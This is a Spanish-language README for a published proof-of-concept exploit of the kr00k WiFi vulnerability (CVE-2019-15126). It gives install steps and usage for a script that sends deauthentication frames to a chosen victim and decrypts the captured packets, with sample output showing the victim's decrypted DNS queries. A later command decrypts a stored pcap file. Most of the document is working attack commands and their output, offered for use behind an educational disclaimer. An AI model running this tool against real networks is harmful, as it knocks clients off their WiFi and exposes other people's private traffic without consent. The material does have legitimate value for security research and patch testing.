
Exploit PoC para la vulnerabilidad CVE-2019-15126 kr00k
Este es un exploit PoC para la vulnerabilidad kr00k CVE-2019-15126.
Este proyecto tiene únicamente fines educativos y no puede ser utilizado para violar la ley ni para beneficio personal.
El autor de este proyecto no se responsabiliza por cualquier daño posible causado por los materiales.
Para usar estos scripts, necesitarás una tarjeta WiFi que admita el modo monitor activo con inyección de tramas. Recomendamos el chip Atheros AR9280 (IEEE 802.11n) que usamos para desarrollar y probar el código. Hemos probado este PoC en Kali Linux
# clone main repo
git clone https://github.com/hexway/r00kie-kr00kie.git && cd ./r00kie-kr00kie
# install dependencies
sudo pip3 install -r requirements.txt
Este es el archivo de exploit principal que implementa el ataque kr00k
->~:python3 r00kie-kr00kie.py -h
usage: r00kie-kr00kie.py [-h] [-i INTERFACE] [-l CHANNEL] [-b BSSID]
[-c CLIENT] [-n DEAUTH_NUMBER] [-d DEAUTH_DELAY]
[-p PCAP_PATH_READ] [-r PCAP_PATH_RESULT] [-q]
PoC of CVE-2019-15126 kr00k vulnerability
optional arguments:
-h, --help show this help message and exit
-i INTERFACE, --interface INTERFACE
Set wireless interface name for listen packets
-l CHANNEL, --channel CHANNEL
Set channel for wireless interface (default: 1)
-b BSSID, --bssid BSSID
Set WiFi AP BSSID (example: "01:23:45:67:89:0a")
-c CLIENT, --client CLIENT
Set WiFi client MAC address (example:
"01:23:45:67:89:0b")
-n DEAUTH_NUMBER, --deauth_number DEAUTH_NUMBER
Set number of deauth packets for one iteration
(default: 5)
-d DEAUTH_DELAY, --deauth_delay DEAUTH_DELAY
Set delay between sending deauth packets (default: 5)
-p PCAP_PATH_READ, --pcap_path_read PCAP_PATH_READ
Set path to PCAP file for read encrypted packets
-r PCAP_PATH_RESULT, --pcap_path_result PCAP_PATH_RESULT
Set path to PCAP file for write decrypted packets
-q, --quiet Minimal output
Para iniciar un ataque, necesitas conocer el bssid del punto de acceso, su canal y la dirección mac de la víctima. Puedes encontrarlos usando la utilidad airodump-ng wlan0.
Ejecuta el exploit:
->~:python3 r00kie-kr00kie.py -i wlan0 -b D4:38:9C:82:23:7A -c 88:C9:D0:FB:88:D1 -l 11
/$$$$$$$ /$$$$$$ /$$$$$$ /$$ /$$
| $$__ $$ /$$$_ $$ /$$$_ $$| $$ |__/
| $$ \ $$| $$$$\ $$| $$$$\ $$| $$ /$$ /$$ /$$$$$$
| $$$$$$$/| $$ $$ $$| $$ $$ $$| $$ /$$/| $$ /$$__ $$
| $$__ $$| $$\ $$$$| $$\ $$$$| $$$$$$/ | $$| $$$$$$$$
| $$ \ $$| $$ \ $$$| $$ \ $$$| $$_ $$ | $$| $$_____/
| $$ | $$| $$$$$$/| $$$$$$/| $$ \ $$| $$| $$$$$$$
|__/ |__/ \______/ \______/ |__/ \__/|__/ \_______/
/$$ /$$$$$$ /$$$$$$ /$$ /$$
| $$ /$$$_ $$ /$$$_ $$| $$ |__/
| $$ /$$ /$$$$$$ | $$$$\ $$| $$$$\ $$| $$ /$$ /$$ /$$$$$$
| $$ /$$/ /$$__ $$| $$ $$ $$| $$ $$ $$| $$ /$$/| $$ /$$__ $$
| $$$$$$/ | $$ \__/| $$\ $$$$| $$\ $$$$| $$$$$$/ | $$| $$$$$$$$
| $$_ $$ | $$ | $$ \ $$$| $$ \ $$$| $$_ $$ | $$| $$_____/
| $$ \ $$| $$ | $$$$$$/| $$$$$$/| $$ \ $$| $$| $$$$$$$
|__/ \__/|__/ \______/ \______/ |__/ \__/|__/ \_______/
v0.0.1
https://hexway.io/research/r00kie-kr00kie/
[!] Kill processes that prevent monitor mode!
[*] Wireless interface: wlan0 already in mode monitor
[*] Set channel: 11 on wireless interface: wlan0
[*] Send 5 deauth packets to: 88:C9:D0:FB:88:D1 from: D4:38:9C:82:23:7A
[*] Send 5 deauth packets to: 88:C9:D0:FB:88:D1 from: D4:38:9C:82:23:7A
[*] Send 5 deauth packets to: 88:C9:D0:FB:88:D1 from: D4:38:9C:82:23:7A
[+] Got a kr00ked packet:
###[ Ethernet ]###
dst = d4:38:9c:82:23:7a
src = 88:c9:d0:fb:88:d1
type = IPv4
###[ IP ]###
version = 4
ihl = 5
tos = 0x0
len = 60
id = 30074
flags = DF
frag = 0
ttl = 64
proto = udp
chksum = 0xcce1
src = 192.168.43.161
dst = 8.8.4.4
\options \
###[ UDP ]###
sport = 60744
dport = domain
len = 40
chksum = 0xa649
###[ DNS ]###
id = 55281
qr = 0
opcode = QUERY
aa = 0
tc = 0
rd = 1
ra = 0
z = 0
ad = 0
cd = 0
rcode = ok
qdcount = 1
ancount = 0
nscount = 0
arcount = 0
\qd \
|###[ DNS Question Record ]###
| qname = 'g.whatsapp.net.'
| qtype = A
| qclass = IN
an = None
ns = None
ar = None
[+] Got a kr00ked packet:
###[ Ethernet ]###
dst = d4:38:9c:82:23:7a
src = 88:c9:d0:fb:88:d1
type = IPv4
###[ IP ]###
version = 4
ihl = 5
tos = 0x0
len = 60
id = 30075
flags = DF
frag = 0
ttl = 64
proto = udp
chksum = 0xcce0
src = 192.168.43.161
dst = 8.8.4.4
\options \
###[ UDP ]###
sport = 60744
dport = domain
len = 40
chksum = 0x104b
###[ DNS ]###
id = 28117
qr = 0
opcode = QUERY
aa = 0
tc = 0
rd = 1
ra = 0
z = 0
ad = 0
cd = 0
rcode = ok
qdcount = 1
ancount = 0
nscount = 0
arcount = 0
\qd \
|###[ DNS Question Record ]###
| qname = 'g.whatsapp.net.'
| qtype = AAAA
| qclass = IN
an = None
ns = None
ar = None
Además, si ya has interceptado tráfico (archivo pcap) después del ataque kr00t, puedes descifrar:
->~:python3 r00kie-kr00kie.py -p encrypted_packets.pcap
/$$$$$$$ /$$$$$$ /$$$$$$ /$$ /$$
| $$__ $$ /$$$_ $$ /$$$_ $$| $$ |__/
| $$ \ $$| $$$$\ $$| $$$$\ $$| $$ /$$ /$$ /$$$$$$
| $$$$$$$/| $$ $$ $$| $$ $$ $$| $$ /$$/| $$ /$$__ $$
| $$__ $$| $$\ $$$$| $$\ $$$$| $$$$$$/ | $$| $$$$$$$$
| $$ \ $$| $$ \ $$$| $$ \ $$$| $$_ $$ | $$| $$_____/
| $$ | $$| $$$$$$/| $$$$$$/| $$ \ $$| $$| $$$$$$$
|__/ |__/ \______/ \______/ |__/ \__/|__/ \_______/
/$$ /$$$$$$ /$$$$$$ /$$ /$$
| $$ /$$$_ $$ /$$$_ $$| $$ |__/
| $$ /$$ /$$$$$$ | $$$$\ $$| $$$$\ $$| $$ /$$ /$$ /$$$$$$
| $$ /$$/ /$$__ $$| $$ $$ $$| $$ $$ $$| $$ /$$/| $$ /$$__ $$
| $$$$$$/ | $$ \__/| $$\ $$$$| $$\ $$$$| $$$$$$/ | $$| $$$$$$$$
| $$_ $$ | $$ | $$ \ $$$| $$ \ $$$| $$_ $$ | $$| $$_____/
| $$ \ $$| $$ | $$$$$$/| $$$$$$/| $$ \ $$| $$| $$$$$$$
|__/ \__/|__/ \______/ \______/ |__/ \__/|__/ \_______/
v0.0.1
https://hexway.io/research/r00kie-kr00kie/